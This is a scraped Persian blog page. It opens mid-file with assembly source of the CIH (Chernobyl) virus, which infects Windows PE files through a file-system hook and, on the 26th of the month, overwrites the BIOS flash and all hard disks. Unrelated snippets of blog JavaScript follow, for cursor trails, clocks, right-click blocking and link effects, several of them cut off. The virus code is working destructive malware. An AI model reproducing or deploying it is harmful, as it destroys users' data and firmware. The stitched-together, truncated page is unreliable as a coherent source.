edx, (SizeOfScetionTable+PointerToRawData-@9)[esi] add edx, 12h call edi ; VXDCall IFSMgr_Ring0_FileIO ; cmp [esi], 'nZip' cmp dword ptr [esi], 'piZn' je NotSetInfectedMark pop edx ; *************************** ; * Let's Set Total Virus * ; * Code Section Table * ; *************************** ; EBX = My Virus First Section Code ; Size of Following Section Table pop ebx pop edi ; EDI = TotalSizeOfVirusCodeSectionTable pop ecx ; ECX = NumberOfSections+1 push edi ; Size add edx, ebp push edx ; Pointer of File add ebp, esi push ebp ; Address of Buffer ; *************************** ; * Set the First Virus * ; * Code Section Size in * ; * VirusCodeSectionTable * ; *************************** lea eax, [ebp+edi-04h] mov [eax], ebx ; *************************** ; * Let's Set My Virus * ; * First Section Code * ; *************************** push ebx ; Size add edx, edi push edx ; Pointer of File lea edi, (MyVirusStart-@9)[esi] push edi ; Address of Buffer ; *************************** ; * Let's Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; *************************** mov (NewAddressOfEntryPoint-@9)[esi], edx ; *************************** ; * Setup Initial Data * ; *************************** lea edx, [esi-SizeOfScetionTable] mov ebp, offset VirusSize jmp StartToWriteCodeToSections ; *************************** ; * Write Code to Sections * ; *************************** LoopOfWriteCodeToSections: add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-@9)[edx] sub ebx, (VirtualSize-@9)[edx] jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h mov [eax], ebx mov ebx, (PointerToRawData-@9)[edx] add ebx, (VirtualSize-@9)[edx] push ebx ; Pointer of File push edi ; Address of Buffer mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx] add ebx, (ImageBase-@9)[esi] mov [eax+4], ebx mov ebx, [eax] add (VirtualSize-@9)[edx], ebx ; Section contains initialized data ==> 00000040h ; Section can be Read. ==> 40000000h or (Characteristics-@9)[edx], 40000040h StartToWriteCodeToSections: sub ebp, ebx jbe SetVirusCodeSectionTableEndMark add edi, ebx ; Move Address of Buffer EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ; *************************** ; * Only Set Infected Mark * ; *************************** OnlySetInfectedMark: mov esp, dr1 jmp WriteVirusCodeToFile ; *************************** ; * Not Set Infected Mark * ; *************************** NotSetInfectedMark: add esp, 3ch jmp CloseFile ; *************************** ; * Set Virus Code * ; * Section Table End Mark * ; *************************** SetVirusCodeSectionTableEndMark: ; Adjust Size of Virus Section Code to Correct Value add [eax], ebp add [esp+08h], ebp ; Set End Mark xor ebx, ebx mov [eax-04h], ebx ; *************************** ; * When VirusGame Calls * ; * VxDCall, VMM Modifies * ; * the 'int 20h' and the * ; * 'Service Identifier' * ; * to 'Call [XXXXXXXX]'. * ; *************************** ; * Before Writing My Virus * ; * to File, I Must Restore * ; * them First. ^__^ * ; *************************** lea eax, (LastVxDCallAddress-2-@9)[esi] mov cl, VxDCallTableSize LoopOfRestoreVxDCallID: mov word ptr [eax], 20cdh mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] mov [eax+2], edx movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] sub eax, edx loop LoopOfRestoreVxDCallID ; *************************** ; * Let's Write * ; * Virus Code to the File * ; *************************** WriteVirusCodeToFile: mov eax, dr1 mov ebx, [eax+10h] mov edi, [eax] LoopOfWriteVirusCodeToFile: pop ecx jecxz SetFileModificationMark mov esi, ecx mov eax, 0d601h pop edx pop ecx call edi ; VXDCall IFSMgr_Ring0_FileIO jmp LoopOfWriteVirusCodeToFile ; *************************** ; * Let's Set CF = 1 ==> * ; * Need to Restore File * ; * Modification Time * ; *************************** SetFileModificationMark: pop ebx pop eax stc ; Enable CF(Carry Flag) pushf ; ************************************* ; * Close File * ; ************************************* CloseFile: xor eax, eax mov ah, 0d7h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Need to Restore File Modification * ; * Time !? * ; ************************************* popf pop esi jnc IsKillComputer ; ************************************* ; * Restore File Modification Time * ; ************************************* mov ebx, edi mov ax, 4303h mov ecx, (FileModificationTime-@7)[esi] mov edi, (FileModificationTime+2-@7)[esi] call ebx ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Disable OnBusy * ; ************************************* DisableOnBusy: dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy ; ************************************* ; * Call Previous FileSystemApiHook * ; ************************************* prevhook: popad mov eax, dr0 ; jmp [eax] ; Jump to prevhook ; ************************************* ; * Call the Function that the IFS * ; * Manager Would Normally Call to * ; * Implement this Particular I/O * ; * Request. * ; ************************************* pIFSFunc: mov ebx, esp push dword ptr [ebx+20h+04h+14h] ; Push pioreq call [ebx+20h+04h] ; Call pIFSFunc pop ecx ; mov [ebx+1ch], eax ; Modify EAX Value in Stack ; *************************** ; * After Calling pIFSFunc, * ; * Get Some Data from the * ; * Returned pioreq. * ; *************************** cmp dword ptr [ebx+20h+04h+04h], 00000024h jne QuitMyVirusFileSystemHook ; ***************** ; * Get the File * ; * Modification * ; * Date and Time * ; * in DOS Format.* ; ***************** mov eax, [ecx+28h] mov (FileModificationTime-@6)[esi], eax ; *************************** ; * Quit My Virus' * ; * IFSMgr_FileSystemHook * ; *************************** QuitMyVirusFileSystemHook: popad ret ; ************************************* ; * Kill Computer !? ... *^_^* * ; ************************************* IsKillComputer: ; Get Now Day from BIOS CMOS mov al, 07h out 70h, al in al, 71h xor al, 26h ; ??/26/???? IF DEBUG jmp DisableOnBusy ELSE jnz DisableOnBusy ENDIF ; ************************************** ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; ************************************** ; *************************** ; * Kill BIOS EEPROM * ; *************************** mov bp, 0cf8h lea esi, IOForEEPROM-@7[esi] ; *********************** ; * Show BIOS Page in * ; * 000E0000 - 000EFFFF * ; * ( 64 KB ) * ; *********************** mov edi, 8000384ch mov dx, 0cfeh cli call esi ; *********************** ; * Show BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** mov di, 0058h dec edx ; and al,0fh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ; *********************** ; * Show the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E01FF * ; * ( 512 Bytes ) * ; * , and the Section * ; * of Extra BIOS can * ; * be Writted... * ; *********************** lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ; *********************** ; * Kill the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E007F * ; * ( 80h Bytes ) * ; *********************** xor ah, ah mov [eax], al xchg ecx, eax loop $ ; *********************** ; * Show and Enable the * ; * BIOS Main ROM Data * ; * 000E0000 - 000FFFFF * ; * ( 128 KB ) * ; * can be Writted... * ; *********************** mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ; *********************** ; * Kill the BIOS Main * ; * ROM Data in Memory * ; * 000FE000 - 000FE07F * ; * ( 80h Bytes ) * ; *********************** mov ah, 0e0h mov [eax], al ; *********************** ; * Hide BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** ; or al,10h mov word ptr (BooleanCalculateCode-@10)[esi], 100ch call esi ; *************************** ; * Kill All HardDisk * ; *************************************************** ; * IOR Structure of IOS_SendCommand Needs * ; *************************************************** ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * ; *************************************************** KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk ; *************************** ; * Enable EEPROM to Write * ; *************************** EnableEEPROMToWrite: mov [eax], cl mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret ; *************************** ; * IO for EEPROM * ; *************************** IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret ; ********************************************************* ; * Static Data * ; ********************************************************* LastVxDCallAddress = IFSMgr_Ring0_FileIO VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h VxDCallTableSize = ($-VxDCallIDTable)/04h ; ********************************************************* ; * Virus Version Copyright * ; ********************************************************* VirusVersionCopyright db 'CIH v' db MajorVirusVersion+'0' db '.' db MinorVirusVersion+'0' db ' TATUNG' ; ********************************************************* ; * Virus Size * ; ********************************************************* VirusSize = $ ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ********************************************************* ; * Dynamic Data * ; ********************************************************* VirusGameDataStartAddress = VirusSize @6 = VirusGameDataStartAddress OnBusy db 0 FileModificationTime dd ? FileNameBuffer db FileNameBufferSize dup(?) @7 = FileNameBuffer DataBuffer = $ @8 = DataBuffer NumberOfSections dw ? TimeDateStamp dd ? SymbolsPointer dd ? NumberOfSymbols dd ? SizeOfOptionalHeader dw ? _Characteristics dw ? Magic dw ? LinkerVersion dw ? SizeOfCode dd ? SizeOfInitializedData dd ? SizeOfUninitializedData dd ? AddressOfEntryPoint dd ? BaseOfCode dd ? BaseOfData dd ? ImageBase dd ? @9 = $ SectionAlignment dd ? FileAlignment dd ? OperatingSystemVersion dd ? ImageVersion dd ? SubsystemVersion dd ? Reserved dd ? SizeOfImage dd ? SizeOfHeaders dd ? SizeOfImageHeaderToRead = $-NumberOfSections NewAddressOfEntryPoint = DataBuffer ; DWORD SizeOfImageHeaderToWrite = 04h StartOfSectionTable = @9 SectionName = StartOfSectionTable ; QWORD VirtualSize = StartOfSectionTable+08h ; DWORD VirtualAddress = StartOfSectionTable+0ch ; DWORD SizeOfRawData = StartOfSectionTable+10h ; DWORD PointerToRawData = StartOfSectionTable+14h ; DWORD PointerToRelocations = StartOfSectionTable+18h ; DWORD PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD NumberOfRelocations = StartOfSectionTable+20h ; WORD NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD Characteristics = StartOfSectionTable+24h ; DWORD SizeOfScetionTable = Characteristics+04h-SectionName ; ********************************************************* ; * Virus Total Need Memory * ; ********************************************************* VirusNeedBaseMemory = $ VirusTotalNeedMemory = @9 ; + NumberOfSections(??)*SizeOfScetionTable(28h) ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ********************************************************* ; ********************************************************* VirusGame ENDS END FileHeader </body> </html> </body> </html>

| نوشته شده توسط آرشام هکر در دسته : |

منع راست كليك بدون پيغام در صفحه:

منع راست كليك با پيغام در صفحه:

منع انتخاب كلمات و هاي لايت كردن آنها:

حركت كردن كلمه اي در حال چرخش همراه موس:

<SCRIPT language=JavaScript1.2> 
'
//2) set whether message should auto disappear after x seconds (0=perpetual).
//Note that double clicking page will also dismiss message
var dismissafter=0

var initialvisible=0
if (document.all)
document.write('<marquee id="curscroll" style="position:absolute;width:100px;border:1px solid black;font-size:14px;background-color:#fde6cc;visibility:True">'+scroller_msg+'</marquee>')

function followcursor(){
//move cursor function for IE

if (initialvisible==0){
curscroll.style.visibility="visible"
initialvisible=1
}

curscroll.style.left=document.body.scrollLeft+event.clientX+10
curscroll.style.top=document.body.scrollTop+event.clientY+10
}

function dismissmessage(){
curscroll.style.visibility="hidden"
}

if (document.all){
document.onmousemove=followcursor
document.ondblclick=dismissmessage
if (dismissafter!=0)
setTimeout("dismissmessage()",dismissafter*1000)
}
//-->
</SCRIPT>

حركت كردن كلمه مورد نظر شما به دنبال موس:

<html>
<head>
<style>
.spanstyle {
position:absolute;
visibility:visible;
top:-50px;
font-size:10pt;
font-family:Verdana;
font-weight:bold;
color:#000;
}
</style>
</head>
<body style="width:100%;overflow-x:hidden;overflow-y:scroll">
<script>

var x,y
var step=20
var flag=0

var message="Theme.blogfa.com "
message=message.split("")

var xpos=new Array()
for (i=0;i<=message.length-1;i++) {
	xpos[i]=-50
}

var ypos=new Array()
for (i=0;i<=message.length-1;i++) {
	ypos[i]=-50
}

function handlerMM(e){
	x = (document.layers) ? e.pageX : document.body.scrollLeft+event.clientX
	y = (document.layers) ? e.pageY : document.body.scrollTop+event.clientY
	flag=1
}

for (i=0;i<=message.length-1;i++) {
    document.write("<span id='span"+i+"' class='spanstyle'>")
	document.write(message[i])
    document.write("</span>")
}

if (document.layers){
	document.captureEvents(Event.MOUSEMOVE);
}
document.onmousemove = handlerMM;
makesnake();
</script>
</body>
</html>

تغيير نشانگر موس در صفحه:

افكتي زيبا براي لينكها:

<head>
<script language="JavaScript">
fadeColor = "#40a0ec";  // رنگ مورد نظرتان را اينجا وارد كنيد

stepIn = 20; // delay when fading in
stepOut = 20; // delay when fading out

/* set to true or false; true will
** cause all links to fade automatically
** (you won't need to add class="fade")
***/
autoFade = true;

/* set to true or false; true will cause all CSS
** classes with "fade" in them to fade onmouseover
***/
sloppyClass = true;

/* set to true or false; true will make the script
** work for Macs (IE 5+), but you will have to give
** a name (name="blah") to each link that you want
** to fade.
***/
macCompat = false;

/** 
**** </config>
**************/

/*************
**** <install>
**

Now, once you have customized your fading colors,
you need to include your customized .js file on
every page that you want to use it in. You can
include javascript files using this syntax (in
the head of a document):

Now that you have the file included, you need to
setup your links a small bit.  Each link that you
want to fade needs to use the fade class.

Example:

<a href="blah.html" class="fade">click here</a>

Also, the link must be plain text.  This means
that you can't have <b>'s, <i>'s, <font>'s, etc.
inside of the link.

Example of what not to do:

<a href="blah.html" class="fade"><b>click</b> here</a>

Have fun!
-Anarchos-

** 
**** </install>
**************/

hexa = new makearray(16);
for(var i = 0; i < 10; i++)
    hexa[i] = i;
hexa[10]="a"; hexa[11]="b"; hexa[12]="c";
hexa[13]="d"; hexa[14]="e"; hexa[15]="f";

document.onmouseover = domouseover;
document.onmouseout = domouseout;

fadeColor = dehexize(fadeColor.toLowerCase());

var fadeId = new Array();

function makearray(n) {
    this.length = n;
    for(var i = 1; i <= n; i++)
        this[i] = 0;
    return this;
}

function hex(i) {
    if (i < 0)
        return "00";
    else if (i > 255)
        return "ff";
    else
       return "" + hexa[Math.floor(i/16)] + hexa[i%16];
}

function setColor(r, g, b, element) {
      var hr = hex(r); var hg = hex(g); var hb = hex(b);
      element.style.color = "#"+hr+hg+hb;
}

باز شدن صفحه پاپ آپ همزمان با وبلاگ:

جعبه ماتريكس:

<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<style type="text/css">
.matrix { font-family: Arial; font-size:10pt; text-align:center; width:10px; padding:0px; margin:0px;}
</style>
<script type="text/javascript" language="JavaScript">
<!--
var rows=11;
var speed=50;
var reveal=2;
var effectalign="center"
var w3c=document.getElementById && !window.opera;;
var ie45=document.all && !window.opera;
var ma_tab, matemp, ma_bod, ma_row, x, y, columns, ma_txt, ma_cho;
var m_coch=new Array();
var m_copo=new Array();
window.onload=function() {
	if (!w3c && !ie45) return
  var matrix=(w3c)?document.getElementById("matrix"):document.all["matrix"];
  ma_txt=(w3c)?matrix.firstChild.nodeValue:matrix.innerHTML;
  ma_txt=" "+ma_txt+" ";
  columns=ma_txt.length;
  if (w3c) {
    while (matrix.childNodes.length) matrix.removeChild(matrix.childNodes[0]);
    ma_tab=document.createElement("table");
    ma_tab.setAttribute("border", 0);
    ma_tab.setAttribute("align", effectalign);
    ma_tab.style.backgroundColor="#000000";
    ma_bod=document.createElement("tbody");
    for (x=0; x<rows; x++) {
      ma_row=document.createElement("tr");
      for (y=0; y<columns; y++) {
        matemp=document.createElement("td");
        matemp.setAttribute("id", "Mx"+x+"y"+y);
        matemp.className="matrix";
        matemp.appendChild(document.createTextNode(String.fromCharCode(160)));
        ma_row.appendChild(matemp);
      }
      ma_bod.appendChild(ma_row);
    }
    ma_tab.appendChild(ma_bod);
    matrix.appendChild(ma_tab);
  } else {
    ma_tab='<ta'+'ble align="'+effectalign+'" border="0" style="background-color:#000000">';
    for (var x=0; x<rows; x++) {
      ma_tab+='<t'+'r>';
      for (var y=0; y<columns; y++) {
        ma_tab+='<t'+'d class="matrix" id="Mx'+x+'y'+y+'">&nbsp;</'+'td>';
      }
      ma_tab+='</'+'tr>';
    }
    ma_tab+='</'+'table>';
    matrix.innerHTML=ma_tab;
  }
  ma_cho=ma_txt;
  for (x=0; x<columns; x++) {
    ma_cho+=String.fromCharCode(32+Math.floor(Math.random()*94));
    m_copo[x]=0;
  }
  ma_bod=setInterval("mytricks()", speed);
}

نمايش كلمات مورد نظر شما در استاتوس بار با افكت:

لرزش صفحه هنگام ورود به وبلاگ:

چرخش عنوان وبلاگ در نوار عنوان و تسك بار:

نمايش تاريخ و ساعت در كنار عنوان وبلاگ در نوار عنوان و تسك بار:

نمايش تاريخ و ساعت در استاتوس بار:

ساعت عقربه اي ساده:

<body>
<SCRIPT language=JavaScript> 
 
<!-- 
function na_preload_img() 
{ 
  var img_list = na_preload_img.arguments; 
  if (document.preloadlist == null) 
    document.preloadlist = new Array(); 
  var top = document.preloadlist.length; 
  for (var i=0; i < img_list.length; i++) { 
    document.preloadlist[top+i] = new Image; 
    document.preloadlist[top+i].src = img_list[i+1]; 
  } 
}

function na_change_img_src(name, nsdoc, rpath, preload) 
{ 
  var img = eval((navigator.appName.indexOf('Netscape', 0) != -1) ? nsdoc+'.'+name : 'document.all.'+name); 
  if (name == '') 
    return; 
  if (img) { 
    img.altsrc = img.src; 
    img.src    = rpath; 
  } 
}

function na_restore_img_src(name, nsdoc) 
{ 
  var img = eval((navigator.appName.indexOf('Netscape', 0) != -1) ? nsdoc+'.'+name : 'document.all.'+name); 
  if (name == '') 
    return; 
  if (img && img.altsrc) { 
    img.src    = img.altsrc; 
    img.altsrc = null; 
  } 
}

// --> 
</script> 
</body>

ساعت عقربه اي بزرگ و زيبا:

<body>
<script language="javascript1.2">
var aWemnBSPM='000000';var awEmnBSPM='FF0000';var aweMnBSPM='000000';var AWemnBSPM='000000';var aWEmnBSPM=60;var awEMnBSPM=60;var aWEMnBSPM='DIGITAL';var AWEMnBSPM='...';AWEMnBSPM=AWEMnBSPM.split('');var awemNBSPM='....';awemNBSPM=awemNBSPM.split('');var AwemNBSPM='.....';AwemNBSPM=AwemNBSPM.split('');var aWemNBSPM=(document.layers);var awEmNBSPM=(document.getElementById&&!document.all);var aweMNBSPM=(document.getElementById&&document.all);var AWemNBSPM=0;var aWEmNBSPM=0;var awEMNBSPM=12;var AWEmNBSPM=360/awEMNBSPM;var aWEMNBSPM="This script was made by USINGIT.COM (C)2002 All rights reserved. Visit www.usingit.com for more free scripts!";AWEMNBSPM='12 1 2 3 4 5 6 7 8 9 10 11';AWEMNBSPM=AWEMNBSPM.split(' ');if (awEmNBSPM||aweMNBSPM){for (awem1nbspm=0; awem1nbspm < awEMNBSPM; awem1nbspm++){document.write('<div id="awem1Nbspm1'+awem1nbspm+'" style="position:absolute;left:0px;top:0px;width:30px;height:30px;font-family:arial;font-size:10px;color:#'+aWemnBSPM+';text-align:center;padding-top:10px">'+AWEMNBSPM[awem1nbspm]+'</div>');}for (awem1nbspm=0; awem1nbspm < AWEMnBSPM.length; awem1nbspm++){document.write('<div id="awem1Nbspm2'+awem1nbspm+'" style="position:absolute;left:0px;top:0px;width:2px;height:2px;font-size:2px;background:#'+AWemnBSPM+'"></div>');}for (awem1nbspm=0; awem1nbspm < awemNBSPM.length; awem1nbspm++){document.write('<div id="awem1Nbspm3'+awem1nbspm+'" style="position:absolute;left:0px;top:0px;width:2px;height:2px;font-size:2px;background:#'+aweMnBSPM+'"></div>');}for (awem1nbspm=0; awem1nbspm < AwemNBSPM.length; awem1nbspm++){document.write('<div id="awem1Nbspm4'+awem1nbspm+'" style="position:absolute;left:0px;top:0px;width:2px;height:2px;font-size:2px;background:#'+awEmnBSPM+'"></div>');}}if (aWemNBSPM){for (awem1nbspm=0; awem1nbspm < awEMNBSPM; awem1nbspm++){document.write('<layer name=awem1Nbspm5'+awem1nbspm+' left=0 top=0 width=30 height=30><center><font face=arial size=1 color='+aWemnBSPM+'>'+AWEMNBSPM[awem1nbspm]+'</font></center></layer>');}for (awem1nbspm=0; awem1nbspm < AWEMnBSPM.length; awem1nbspm++){document.write('<layer name=awem1Nbspm6'+awem1nbspm+' left=0 top=0 bgcolor='+AWemnBSPM+' clip="0,0,2,2"></layer>');}for (awem1nbspm=0; awem1nbspm < awemNBSPM.length; awem1nbspm++){document.write('<layer name=awem1Nbspm7'+awem1nbspm+' left=0 top=0 bgcolor='+aweMnBSPM+' clip="0,0,2,2"></layer>');}for (awem1nbspm=0; awem1nbspm < AwemNBSPM.length; awem1nbspm++){document.write('<layer name=awem1Nbspm8'+awem1nbspm+' left=0 top=0 bgcolor='+awEmnBSPM+' clip="0,0,2,2"></layer>');}}function awem1nBspm(){awem1nbSpm=new Date();awem1nbsPm=awem1nbSpm.getSeconds();awem1nbspM=-1.57+Math.PI*awem1nbsPm/30;awem1NBspm=awem1nbSpm.getMinutes();awem1nBSpm=-1.57+Math.PI*awem1NBspm/30;awem1nbSPm=awem1nbSpm.getHours();awem1nbsPM=-1.57+Math.PI*awem1nbSPm/6+Math.PI*parseInt(awem1nbSpm.getMinutes())/360;if(aWEMNBSPM.charAt(60)!=String.fromCharCode(118))return;if(window.status!=aWEMNBSPM)window.status=aWEMNBSPM;if(aWemNBSPM)window.status=aWEMNBSPM;if (awEmNBSPM||aweMNBSPM){AWemNBSPM=(awEmNBSPM)?window.pageXOffset+window.innerWidth-aWEmnBSPM-30:document.body.scrollLeft+window.document.body.clientWidth-aWEmnBSPM-20;aWEmNBSPM=(awEmNBSPM)?window.pageYOffset+window.innerHeight-awEMnBSPM-25:document.body.scrollTop+window.document.body.clientHeight-awEMnBSPM-20;for (awem1nbspm=0; awem1nbspm < awEMNBSPM; awem1nbspm++){document.getElementById("awem1Nbspm1"+awem1nbspm).style.left=AWemNBSPM-15+aWEmnBSPM*Math.cos(-1.56+awem1nbspm*AWEmNBSPM*Math.PI/180);document.getElementById("awem1Nbspm1"+awem1nbspm).style.top=aWEmNBSPM-15+awEMnBSPM*Math.sin(-1.56+awem1nbspm *AWEmNBSPM*Math.PI/180);}for (awem1nbspm=0; awem1nbspm < AwemNBSPM.length; awem1nbspm++){document.getElementById("awem1Nbspm4"+awem1nbspm).style.left=AWemNBSPM+awem1nbspm*aWEmnBSPM/4.1*Math.cos(awem1nbspM);document.getElementById("awem1Nbspm4"+awem1nbspm).style.top=aWEmNBSPM+awem1nbspm*awEMnBSPM/4.1*Math.sin(awem1nbspM);}for (awem1nbspm=0; awem1nbspm < awemNBSPM.length; awem1nbspm++){document.getElementById("awem1Nbspm3"+awem1nbspm).style.left=AWemNBSPM+awem1nbspm*aWEmnBSPM/4.1*Math.cos(awem1nBSpm);document.getElementById("awem1Nbspm3"+awem1nbspm).style.top=aWEmNBSPM+awem1nbspm*awEMnBSPM/4.1*Math.sin(awem1nBSpm);}for (awem1nbspm=0; awem1nbspm < AWEMnBSPM.length; awem1nbspm++){document.getElementById("awem1Nbspm2"+awem1nbspm).style.left=AWemNBSPM+awem1nbspm*aWEmnBSPM/4.1*Math.cos(awem1nbsPM);document.getElementById("awem1Nbspm2"+awem1nbspm).style.top=aWEmNBSPM+awem1nbspm*awEMnBSPM/4.1*Math.sin(awem1nbsPM);}}if (aWemNBSPM){AWemNBSPM=window.pageXOffset+window.innerWidth-aWEmnBSPM-30;aWEmNBSPM=window.pageYOffset+window.innerHeight-awEMnBSPM-20;for (awem1nbspm=0; awem1nbspm < awEMNBSPM; ++awem1nbspm){document.layers["awem1Nbspm5"+awem1nbspm].left=AWemNBSPM-15+aWEmnBSPM*Math.cos(-1.045+awem1nbspm*AWEmNBSPM*Math.PI/180);document.layers["awem1Nbspm5"+awem1nbspm].top=aWEmNBSPM-5+awEMnBSPM*Math.sin(-1.045+awem1nbspm*AWEmNBSPM*Math.PI/180);}for (awem1nbspm=0; awem1nbspm < AwemNBSPM.length; awem1nbspm++){document.layers["awem1Nbspm8"+awem1nbspm].left=AWemNBSPM+awem1nbspm*aWEmnBSPM/4.1*Math.cos(awem1nbspM);document.layers["awem1Nbspm8"+awem1nbspm].top=aWEmNBSPM+awem1nbspm*awEMnBSPM/4.1*Math.sin(awem1nbspM);}for (awem1nbspm=0; awem1nbspm < awemNBSPM.length; awem1nbspm++){document.layers["awem1Nbspm7"+awem1nbspm].left=AWemNBSPM+awem1nbspm*aWEmnBSPM/4.1*Math.cos(awem1nBSpm);document.layers["awem1Nbspm7"+awem1nbspm].top=aWEmNBSPM+awem1nbspm*awEMnBSPM/4.1*Math.sin(awem1nBSpm);}for (awem1nbspm=0; awem1nbspm < AWEMnBSPM.length; awem1nbspm++){document.layers["awem1Nbspm6"+awem1nbspm].left=AWemNBSPM+awem1nbspm*aWEmnBSPM/4.1*Math.cos(awem1nbsPM);document.layers["awem1Nbspm6"+awem1nbspm].top=aWEmNBSPM+awem1nbspm*awEMnBSPM/4.1*Math.sin(awem1nbsPM);}}setTimeout('awem1nBspm()',100);};awem1nBspm();
</SCRIPT>
</body>

ساعت عقربه اي با افكت زمان ظاهر شدن:

<body>
<SCRIPT language=JavaScript>
dCol='000000';//date colour.
fCol='000000';//face colour.
sCol='000000';//seconds colour.
mCol='000000';//minutes colour.
hCol='000000';//hours colour.
ClockHeight=30;
ClockWidth=30;

//Alter nothing below! Alignments will be lost!

d=new Array("","","","","","","");
m=new Array("","","","","","","","","","","","");
date=new Date();
day=date.getDate();
year=date.getYear();
if (year < 2000) year=year+1900;
TodaysDate=" "+" "+" "+" "
D=TodaysDate.split('');
H='...';
H=H.split('');
M='....';
M=M.split('');
S='.....';
S=S.split('');
Face='1 2 3 4 5 6 7 8 9 10 11 12';
font='arial';
size=1;
speed=0.6;
ns=(document.layers);
ie=(document.all);
Face=Face.split(' ');
n=Face.length;
a=size*10;
ymouse=30;
xmouse=310;
scrll=0;
props="<font face="+font+" size="+size+" color="+fCol+"><B>";
props2="<font face="+font+" size="+size+" color="+dCol+"><B>";
Split=360/n;
Dsplit=360/D.length;
HandHeight=ClockHeight/4.5
HandWidth=ClockWidth/4.5
HandY=-7;
HandX=-2.5;
scrll=0;
step=0.06;
currStep=0;
y=new Array();x=new Array();Y=new Array();X=new Array();
for (i=0; i < n; i++){y[i]=0;x[i]=0;Y[i]=0;X[i]=0}
Dy=new Array();Dx=new Array();DY=new Array();DX=new Array();
for (i=0; i < D.length; i++){Dy[i]=0;Dx[i]=0;DY[i]=0;DX[i]=0}
if (ns){
for (i=0; i < D.length; i++)
document.write('<layer name="nsDate'+i+'" top=0 left=0 height='+a+' width='+a+'><center>'+props2+D[i]+'</font></center></layer>');
for (i=0; i < n; i++)
document.write('<layer name="nsFace'+i+'" top=0 left=0 height='+a+' width='+a+'><center>'+props+Face[i]+'</font></center></layer>');
for (i=0; i < S.length; i++)
document.write('<layer name=nsSeconds'+i+' top=0 left=0 width=15 height=15><font face=Arial size=3 color='+sCol+'><center><b>'+S[i]+'</b></center></font></layer>');
for (i=0; i < M.length; i++)
document.write('<layer name=nsMinutes'+i+' top=0 left=0 width=15 height=15><font face=Arial size=3 color='+mCol+'><center><b>'+M[i]+'</b></center></font></layer>');
for (i=0; i < H.length; i++)
document.write('<layer name=nsHours'+i+' top=0 left=0 width=15 height=15><font face=Arial size=3 color='+hCol+'><center><b>'+H[i]+'</b></center></font></layer>');
}
if (ie){
document.write('<div id="Od" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < D.length; i++)
document.write('<div id="ieDate" style="position:absolute;top:0px;left:0;height:'+a+';width:'+a+';text-align:center">'+props2+D[i]+'</B></font></div>');
document.write('</div></div>');
